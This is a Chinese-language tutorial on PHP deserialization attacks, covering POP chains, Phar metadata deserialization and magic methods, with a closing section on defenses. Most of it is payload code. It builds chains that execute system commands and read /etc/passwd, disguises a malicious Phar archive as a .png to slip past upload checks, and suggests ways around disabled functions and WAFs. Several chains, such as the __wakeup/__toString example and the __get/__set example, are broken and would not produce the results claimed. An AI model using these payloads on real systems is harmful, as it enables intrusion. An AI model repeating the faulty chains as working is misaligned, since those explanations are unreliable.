PHP反序列化漏洞深度剖析:POP链构造、Phar反序列化与魔术方法利用
各位朋友,大家好!今天我们来深入探讨PHP反序列化漏洞。这是一个非常常见且危害巨大的安全问题。我们将从基础概念入手,逐步分析POP链的构造、Phar反序列化的原理以及魔术方法在漏洞利用中的作用,并通过实际代码示例来加深理解。
一、反序列化漏洞基础
-
序列化与反序列化
- 序列化:将PHP对象转换成字符串的过程,用于存储或传输。
serialize()函数实现此功能。 - 反序列化:将序列化后的字符串还原成PHP对象的过程。
unserialize()函数实现此功能。
简单示例如下:
<?php class User { public $username; public $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } public function showInfo() { echo "Username: " . $this->username . "<br>"; echo "Password: " . $this->password . "<br>"; } } $user = new User("testuser", "testpass"); $serialized_user = serialize($user); echo "Serialized User: " . $serialized_user . "<br>"; $unserialized_user = unserialize($serialized_user); $unserialized_user->showInfo(); ?>输出:
Serialized User: O:4:"User":2:{s:8:"username";s:8:"testuser";s:8:"password";s:8:"testpass";} Username: testuser Password: testpass序列化字符串的结构:
O: 对象 (Object)4: 类名长度"User": 类名2: 成员变量的数量s: 字符串 (String)8: 字符串长度"username": 成员变量名s: 字符串 (String)8: 字符串长度"testuser": 成员变量值
- 序列化:将PHP对象转换成字符串的过程,用于存储或传输。
-
反序列化漏洞的成因
反序列化漏洞发生在当
unserialize()函数接收到不受信任的输入时。攻击者可以构造恶意的序列化字符串,利用PHP的魔术方法,在反序列化过程中执行任意代码。 -
魔术方法
PHP提供了一系列魔术方法,它们在特定事件发生时自动调用。以下是与反序列化漏洞相关的几个重要魔术方法:
魔术方法 触发条件 __construct()对象创建时自动调用。 __destruct()对象被销毁时自动调用。 __wakeup()在反序列化时自动调用(PHP < 5.6.25, PHP < 7.0.10 存在绕过漏洞)。 __toString()对象被当做字符串使用时自动调用。 __get()尝试访问未定义的属性时自动调用。 __set()尝试给未定义的属性赋值时自动调用。 __call()尝试调用未定义的方法时自动调用。 __invoke()当尝试将对象当做函数调用时自动调用。 __set_state()当使用 var_export()导出类,使用unserialize()导入时被调用。__clone()当对象被克隆时自动调用。
二、POP链构造
POP链(Property-Oriented Programming)是一种利用现有代码中的片段(即类中的方法),通过串联多个魔术方法,最终达到执行任意代码目的的技术。构造POP链的关键在于寻找合适的类,并利用它们的魔术方法触发顺序,最终调用到一个可以执行命令的函数。
-
简单POP链示例
假设我们有以下代码:
<?php class A { public $obj; public function __destruct() { $this->obj->action(); } } class B { public $cmd; public function action() { system($this->cmd); } } // Payload: $b = new B(); $b->cmd = "whoami"; // 要执行的命令 $a = new A(); $a->obj = $b; echo serialize($a); ?>这段代码中,类
A的__destruct()方法会调用$this->obj->action()。如果$this->obj是类B的一个实例,那么action()方法就会执行system($this->cmd),从而执行任意命令。攻击步骤:
- 构造一个
B类的实例,设置$cmd为要执行的命令。 - 构造一个
A类的实例,将$obj设置为刚才构造的B类实例。 - 序列化
A类的实例。 - 将序列化后的字符串作为
unserialize()的输入,当A类的实例被销毁时,__destruct()方法会被调用,进而执行命令。
完整利用代码:
<?php class A { public $obj; public function __destruct() { $this->obj->action(); } } class B { public $cmd; public function action() { system($this->cmd); } } $b = new B(); $b->cmd = "whoami"; $a = new A(); $a->obj = $b; $payload = serialize($a); echo "Payload: " . $payload . "<br>"; unserialize($payload); // 执行反序列化 ?>输出:
Payload: O:1:"A":1:{s:3:"obj";O:1:"B":1:{s:3:"cmd";s:6:"whoami";}} [执行 whoami 命令的结果]这个例子展示了一个简单的POP链。
__destruct()方法是链的起点,action()方法是链的终点,实现了命令执行。 - 构造一个
-
更复杂的POP链
实际环境中,目标代码通常不会这么简单。我们需要寻找更长的POP链,利用多个类的多个方法,最终达到执行任意代码的目的。
例如,假设我们有以下代码:
<?php class C { public $data; public function __toString() { return $this->data->read(); } } class D { public $filename; public function read() { return file_get_contents($this->filename); } } class E { public $obj; public function __wakeup() { $this->obj = new C(); } } // Payload: $d = new D(); $d->filename = "/etc/passwd"; // 要读取的文件 $c = new C(); $c->data = $d; $e = new E(); $e->obj = $c; $payload = serialize($e); echo "Payload: " . $payload . "<br>"; unserialize($payload); ?>分析:
E类的__wakeup()方法会在反序列化时被调用,它会创建一个C类的实例,并赋值给$this->obj。C类的__toString()方法会在对象被当做字符串使用时被调用,它会调用$this->data->read()。D类的read()方法会读取指定文件的内容。
利用:
- 构造一个
D类的实例,设置$filename为要读取的文件。 - 构造一个
C类的实例,将$data设置为刚才构造的D类实例。 - 构造一个
E类的实例,将$obj设置为null,因为__wakeup()会重新赋值。 - 序列化
E类的实例。 - 反序列化
E类的实例,__wakeup()会被调用,创建一个新的C实例,赋值给$this->obj。 - 由于
E类实例的$obj属性是一个对象,并且在脚本结束时会被当做字符串使用(比如被echo),因此__toString()方法会被调用,进而读取文件内容。
完整利用代码:
<?php class C { public $data; public function __toString() { return $this->data->read(); } } class D { public $filename; public function read() { return file_get_contents($this->filename); } } class E { public $obj; public function __wakeup() { $this->obj = new C(); } } $d = new D(); $d->filename = "/etc/passwd"; $c = new C(); $c->data = $d; $e = new E(); $e->obj = null; // 关键:设置为 null,让 __wakeup 重新赋值 $payload = serialize($e); echo "Payload: " . $payload . "<br>"; echo unserialize($payload); // 触发 __toString() ?>输出:
Payload: O:1:"E":1:{s:3:"obj";N;} [/etc/passwd文件的内容]这个例子展示了一个稍微复杂的POP链,利用了
__wakeup()、__toString()和file_get_contents()函数来读取文件。
三、Phar反序列化
Phar(PHP Archive)是PHP中一种打包格式,可以将多个文件打包成一个文件。Phar文件可以像目录一样访问,也可以像压缩文件一样解压。
-
Phar文件的结构
Phar文件由以下几个部分组成:
- Stub:一段PHP代码,用于指示Phar文件如何处理。
- Manifest:一个数组,包含 Phar 文件中所有文件的元数据,如文件名、大小、修改时间等。
- Content:文件内容。
- Signature:签名,用于验证Phar文件的完整性。
-
Phar反序列化漏洞的原理
当PHP使用
phar://伪协议访问Phar文件时,如果Phar文件的元数据(Manifest)中包含序列化的对象,那么PHP会自动反序列化该对象。这就是Phar反序列化漏洞的原理。攻击者可以构造一个恶意的Phar文件,其中包含一个恶意的序列化对象,当该Phar文件被
phar://伪协议访问时,该对象会被反序列化,从而执行任意代码。 -
Phar反序列化漏洞的利用
利用步骤:
- 构造一个包含恶意序列化对象的Phar文件。
- 将Phar文件上传到服务器。
- 使用
phar://伪协议访问该Phar文件,触发反序列化漏洞。
示例代码:
<?php class Evil { public $cmd; public function __destruct() { system($this->cmd); } } // 创建Phar对象 $phar = new Phar("evil.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); // 添加一个文件 // 构造恶意的对象 $evil = new Evil(); $evil->cmd = "whoami"; // 要执行的命令 // 将恶意对象序列化后存入 metadata $phar->setMetadata($evil); $phar->stopBuffering(); // 生成签名 $signature = $phar->setSignatureAlgorithm(Phar::SHA1); // 修改phar文件的后缀名为png,绕过上传检测 rename("evil.phar", "evil.png"); ?>这段代码会创建一个名为
evil.phar的Phar文件,其中包含一个名为test.txt的文件和一个序列化的Evil对象。Evil类的__destruct()方法会执行system($this->cmd)。利用代码:
<?php // 触发反序列化漏洞 include("phar://evil.png"); // 或者 file_get_contents("phar://evil.png"); ?>当
include("phar://evil.png")被执行时,PHP会解析evil.png文件,发现它是一个Phar文件,然后读取其元数据,发现其中包含一个序列化的Evil对象,于是对该对象进行反序列化,Evil类的__destruct()方法会被调用,从而执行命令。 -
Phar反序列化的绕过
- 文件上传检测:可以修改Phar文件的后缀名,例如改为
png,绕过文件上传检测。 - 函数限制:有些函数可能被禁用,例如
system()。可以寻找其他可以执行命令的函数,例如exec()、passthru()等。 - WAF (Web Application Firewall): 可以尝试对payload进行编码,绕过WAF的检测。
- 文件上传检测:可以修改Phar文件的后缀名,例如改为
四、魔术方法深度利用
除了前面提到的__destruct()、__wakeup()、__toString()之外,其他魔术方法也可以在反序列化漏洞中发挥作用。
-
__get()和__set()这两个方法分别在访问和设置未定义的属性时被调用。可以利用它们来间接调用其他方法。
<?php class Getter { private $obj; public function __construct($obj) { $this->obj = $obj; } public function __get($name) { return $this->obj->$name; } } class Setter { private $obj; public function __construct($obj) { $this->obj = $obj; } public function __set($name, $value) { $this->obj->$name = $value; } } class Target { public function execute($cmd) { system($cmd); } } //构造payload $target = new Target(); $getter = new Getter($target); $setter = new Setter($getter); $setter->execute = 'whoami'; echo serialize($setter); ?>这个例子中,
Setter类的__set()方法会调用$this->obj->$name = $value。如果$this->obj是Getter类的实例,那么$this->obj->$name就会触发Getter类的__get()方法,从而调用$this->obj->$name,最终调用Target类的execute()方法。 -
__call()当调用未定义的方法时,
__call()方法会被调用。可以利用它来执行任意函数。<?php class Caller { private $func; private $args; public function __construct($func, $args) { $this->func = $func; $this->args = $args; } public function __call($name, $arguments) { return call_user_func_array($this->func, $this->args); } } // 构造payload $func = 'system'; $args = array('whoami'); $caller = new Caller($func, $args); echo serialize($caller); ?>这个例子中,
Caller类的__call()方法会调用call_user_func_array($this->func, $this->args),从而执行任意函数。 -
__invoke()当尝试将对象当做函数调用时,
__invoke()方法会被调用。<?php class Invoker { private $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __invoke() { system($this->cmd); } } // 构造payload $cmd = 'whoami'; $invoker = new Invoker($cmd); echo serialize($invoker); ?>如果反序列化后的对象
$invoker在代码中被当做函数调用,例如$invoker(),那么__invoke()方法会被调用,从而执行命令。
五、实战案例分析
分析实际漏洞案例可以帮助我们更好地理解反序列化漏洞的利用方式。例如,很多CMS系统和框架都存在反序列化漏洞,可以通过分析其源代码,找到可利用的POP链。
以Wordpress为例,早期版本中存在一些反序列化漏洞,可以通过分析其插件和主题,找到可利用的类和方法。
六、防御措施
- 避免直接反序列化用户输入:这是最根本的防御措施。尽量不要直接使用
unserialize()函数处理用户提交的数据。 - 使用白名单验证:如果必须使用反序列化,可以使用白名单验证,只允许反序列化特定的类。
- 禁用危险函数:禁用可能导致代码执行的函数,例如
system()、exec()、eval()等。 - 使用最新版本的PHP:PHP的最新版本通常会修复一些安全漏洞。
- 使用WAF:Web Application Firewall可以检测和阻止恶意的反序列化payload。
- 代码审计:定期进行代码审计,发现潜在的反序列化漏洞。
通过魔术方法与POP链,能达成攻击目标
PHP反序列化漏洞是一种非常危险的安全问题,攻击者可以利用它来执行任意代码。理解反序列化漏洞的原理、POP链的构造、Phar反序列化的利用以及魔术方法的作用,可以帮助我们更好地防御这种攻击。务必记住,避免直接反序列化用户输入是防止反序列化漏洞的最有效的措施。
在实际应用中,需要根据具体情况选择合适的防御措施,并定期进行安全评估,确保系统的安全。